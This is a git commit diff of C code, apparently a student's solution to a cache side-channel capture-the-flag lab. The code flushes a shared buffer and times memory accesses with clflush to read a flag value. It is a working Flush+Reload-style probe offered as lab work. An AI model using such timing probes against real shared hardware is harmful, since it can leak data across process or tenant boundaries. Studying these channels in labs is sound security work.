part2 ver 0.7.0 avoid frequent access

This commit is contained in:
ClF3 2024-11-05 10:12:27 +08:00
parent fb2a2ba698
commit b27c59b282
1 changed files with 23 additions and 20 deletions

View File

@ -25,11 +25,12 @@ int main() {
char *buf = allocate_shared_buffer(); char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here // [2.1] TODO: Put your capture-the-flag code here
for (int j = 0; j < 1024; j++) {
for(int i = 0; i < 1024; i++) { for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128); clflush((ADDR_PTR)buf + i * 128);
} }
for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 10000; i++) { for(int i = 0; i < 64; i++) {
new_offset = (AVAR * offset + CVAR) % 1024; new_offset = (AVAR * offset + CVAR) % 1024;
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) { if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
offset = (AVAR1 * offset + CVAR1) % 1024; offset = (AVAR1 * offset + CVAR1) % 1024;
@ -39,7 +40,7 @@ int main() {
} }
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) { if(time < CACHE_HIT_THRESHOLD) {
clflush((ADDR_PTR)buf + offset * 128); // clflush((ADDR_PTR)buf + offset * 128);
for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < WAIT_TIME; i++);
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) { if(new_time < CACHE_HIT_THRESHOLD) {
@ -49,6 +50,8 @@ int main() {
} }
} }
} }
}
printf("Flag: %d\n", flag); printf("Flag: %d\n", flag);
printf("Time: %d\n", time); printf("Time: %d\n", time);
printf("Index: %d\n", index); printf("Index: %d\n", index);